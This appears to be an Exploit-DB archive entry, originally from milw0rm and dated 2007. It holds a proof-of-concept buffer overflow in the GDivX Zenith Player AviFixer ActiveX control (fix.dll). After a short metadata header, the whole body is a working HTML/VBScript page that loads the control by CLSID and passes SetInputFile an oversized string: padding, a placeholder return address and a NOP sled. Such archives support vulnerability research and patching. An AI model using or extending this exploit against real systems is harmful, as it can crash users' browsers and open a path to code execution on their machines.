GDivX Zenith Player AviFixer Class - 'fix.dll 1.0.0.1' Buffer Overflow (PoC)
Author: rgod
type: dos
platform: windows
port:
date_added: 2007-05-08
date_updated:
verified: 1
codes: OSVDB-57342;CVE-2009-3967
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comGDivX_Zenith_Player_1.2.exe
<html>
<object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'></object>
<script language = 'vbscript'>
' IE 6 / GDivX Zenith Player AviFixer Class (fix.dll v. 1.0.0.1) buffer overflow POC by rgod
' tested on xp sp2
EIP= "BBBB"
BOF=String(264, "A") + EIP + String(9999, unescape("%90"))
target.SetInputFile BOF
</script>
</html>
# milw0rm.com [2007-05-09]